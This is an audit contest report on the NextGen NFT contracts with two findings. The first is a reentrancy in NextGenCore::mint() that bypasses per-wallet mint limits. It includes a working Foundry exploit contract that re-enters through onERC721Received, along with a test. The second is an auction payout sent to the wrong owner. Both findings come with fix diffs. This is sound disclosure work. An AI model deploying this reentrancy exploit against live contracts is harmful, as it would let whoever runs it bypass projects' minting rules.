NextGen - jacopod's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193

Vulnerability details

Impact

A malicious contract can mint an arbitrary number of tokens in a single transaction, bypassing the max-allowance rules (in both the allowlist and public phase). This affects the NextGenCore::mint() function, which is called by the public MinterContract::mint(). However, the malicious contract has to pay the ether for all minted tokens, so there are no funds at risk.

The exploit is possible because NextGenCore::mint() calls the internal function _mintProcessing() before updating tokensMintedAllowlistAddress (allowlist phase) or tokensMintedPerAddress (public phase). When _mintProcessing() calls _safeMint() a reentrancy is possible as it implements the _checkOnERC721Received(), which calls the destination address, allowing for a potential reentrancy. The attacker can implement a malicious _checkOnERC721Received(), which will initiate a new mint transaction before allowance has been updated. Therefore, this new mint will also be compliant with the allowance restrictions.

Proof of Concept

Below is a proof of concept written in Foundry. The malicious contract calls again the MinterContract::mint() when the onERC721Receiver is called, as many times as they can afford to pay. Note that the value of the mint is paid, so there is no risk of funds lost here.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "lib/forge-std/src/Test.sol";
import {NextGenAdmins} from "src/NextGenAdmins.sol";
import {NextGenMinterContract} from "src/MinterContract.sol";
import {NextGenCore} from "src/NextGenCore.sol";
import {NextGenRandomizerNXT} from "src/RandomizerNXT.sol";
import {randomPool} from "../src/XRandoms.sol";
import {IERC721Receiver} from "src/IERC721Receiver.sol";


contract MaliciousContract {
    NextGenMinterContract minter;
    NextGenCore core;
    address owner;

    uint256 currentReentry;
    uint256 numberOfReentries;
    uint256 collectionMaxAllowance;
    uint256 mintPrice;

    constructor(address _minter, address _core, uint256 _collectionId, uint256 _numberOfReentries, uint256 _mintPrice) {
        minter = NextGenMinterContract(_minter);
        core = NextGenCore(_core);
        owner = msg.sender;
        numberOfReentries = _numberOfReentries;
        mintPrice = _mintPrice;
        collectionMaxAllowance = core.viewMaxAllowance(_collectionId);
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
        external
        returns (bytes4) {
        // this controls how many times we want to reenter
        if (currentReentry < numberOfReentries) {
            _mint();
        }
        return IERC721Receiver.onERC721Received.selector;
    }

    function mintAttack() public payable {
        // the tokens need to be minted to this contract (the sneaky ERC721receiver)
        _mint();
        // after the successful attack, lets send the tokens to tha attacker address
        for (uint256 i = 0; i < numberOfReentries*collectionMaxAllowance; i++) {
            core.transferFrom(address(this), owner, 10000000000 + i);
        }
    }

    function _mint() internal {
        // with this counter we control how many times we reenter
        currentReentry += 1;
        bytes32[] memory proof = new bytes32[](1); // proof is not used in public phase
        // in a public mint, we will use the ERC721::checkOnReceived call, to reenter and mint again more than the allowed
        minter.mint{value: collectionMaxAllowance * mintPrice}(
            1, //uint256 _collectionId
            collectionMaxAllowance, //uint256 _numberOfTokens
            0, //uint256 _maxAllowance of whitelist phase
            "public", //string memory _tokenData,
            address(this), // address _mintTo
            proof, //bytes32[] calldata merkleProof,
            address(0), //address _delegator,
            111121 //uint256 _saltfun_o  // not used
        );
    }
}


contract TestMintAboveAllowance is Test {
    NextGenAdmins adminsContract;
    NextGenMinterContract minter;
    NextGenCore core;
    NextGenRandomizerNXT randomizer;
    randomPool randoms;

    MaliciousContract maliciousContract;

    address _del = makeAddr("_del");
    address admin = makeAddr("admin");
    address artist = makeAddr("artist");
    address attacker = makeAddr("attacker");

    uint256 collectionId;

    uint256 maxPurchasesPerWalletPerCollection = 3;
    uint256 mintPrice = 0.1 ether;
    uint256 numberOfAttackerReentries = 3;

    function setUp() public {
        // move the time forward to nowadays approx
        vm.warp(1699401474);

        deal(admin, 10 ether);
        deal(attacker, 10 ether);

        // deploy the NextGen contracts
        vm.prank(admin);
        adminsContract = new NextGenAdmins();
        randoms = new randomPool();
        randomizer = new NextGenRandomizerNXT(address(randoms), address(adminsContract), address(core));
        core = new NextGenCore("CORE", "CORE", address(adminsContract));
        minter = new NextGenMinterContract(address(core), _del, address(adminsContract));

        vm.startPrank(admin);
        randomizer.updateCoreContract(address(core));
        core.addMinterContract(address(minter));

        string[] memory script = new string[](3);

        // We create two collections
        core.createCollection(
            "collectionName",
            "collectionArtist",
            "collectionDescription",
            "collectionWebsite",
            "collectionLicense",
            "collectionBaseURI",
            "collectionLibrary",
            script
        );

        core.setCollectionData(
            1, // uint256 _collectionID,
            artist, // address _collectionArtistAddress,
            maxPurchasesPerWalletPerCollection, // uint256 _maxCollectionPurchases,
            100, // uint256 _collectionTotalSupply,
            300 days// uint256 _setFinalSupplyTimeAfterMint
        );

        core.addRandomizer(1, address(randomizer));

        minter.setCollectionCosts(
            1, // _collectionId
            mintPrice, // _collectionMintCost
            mintPrice, // _collectionEndMintCost
            0, // rate
            1, // timePeriod
            1, //sales option == constant price
            _del
        );

        // mock root
        bytes32 root = keccak256(abi.encodePacked("root"));
        minter.setCollectionPhases(
            1, block.timestamp, block.timestamp, block.timestamp, block.timestamp + 100 days, root
        );
        // stop acting as the admin address
        vm.stopPrank();

        // deploy the malicious contract as the attacker
        collectionId = 1;
        vm.prank(attacker);
        maliciousContract = new MaliciousContract(
            address(minter), // NextGenMinter
            address(core), //  NextGenCore
            collectionId, // collectionId
            numberOfAttackerReentries, // number of times the attacker contract will reenter and mint a new batch
            mintPrice // mintPrice
        );
        // just to be on the public phase
        skip(10);
    }

    function testMintMoreThanAllowedInPublicPhaseInSingleTransaction() public {
        bytes32[] memory proof = new bytes32[](1);
        // core.balanceOf() returns the balance of all collections together, but since only collectionId=1 has been created, it is good enough
        // no tokens minted by the attacker before the attack
        assertEq(core.balanceOf(attacker), 0);
        // supply of collectionId is 0
        assertEq(core.totalSupplyOfCollection(collectionId), 0);

        // Even thought the maxPurchasesPerWalletPerCollection is 3, the attacker is gonna be able to mint
        // as many as they pay for. Lets say 9 in this case
        uint256 _value = numberOfAttackerReentries * maxPurchasesPerWalletPerCollection * mintPrice;
        vm.prank(attacker);
        maliciousContract.mintAttack{value: _value}();

        // the attacker has managed to mint more than the max allowed per address
        assertGt(core.balanceOf(attacker), maxPurchasesPerWalletPerCollection);
        // the exact balance is the max per wallet, times the number of times the reentrancy was performed
        assertEq(core.balanceOf(attacker), numberOfAttackerReentries * maxPurchasesPerWalletPerCollection);
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

Alter the order of operations in NextGenCore::mint(). First update allowlist information, then call _mintProcessing(). Here is the git diff:

@@ -190,12 +190,12 @@ contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 {
         require(msg.sender == minterContract, "Caller is not the Minter Contract");
         collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
         if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
-            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
             if (phase == 1) {
                 tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
             } else {
                 tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
             }
+            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
         }
     }

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L113

Vulnerability details

Impact

The owner of a token being auctioned in the DemoContract will receive 0 ether at the end of the auction in exchange for the token.

Proof of Concept

The ether from the highest bidder is transferred to the owner() of the AuctionDemo contract, not to the owner of the token being auctioned, as it can be seen in these lines

Recommended Mitigation Steps

Change owner() for ownerOfToken when sending the ether from highest bid:

@@ -110,8 +110,8 @@ contract auctionDemo is Ownable {
         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
-                (bool success, ) = payable(owner()).call{value: highestBid}("");
-                emit ClaimAuction(owner(), _tokenid, success, highestBid);
+                (bool success, ) = payable(ownerOfToken).call{value: highestBid}("");
+                emit ClaimAuction(ownerOfToken, _tokenid, success, highestBid);
             } else if (auctionInfoData[_tokenid][i].status == true) {
                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);

Assessed type

ETH-Transfer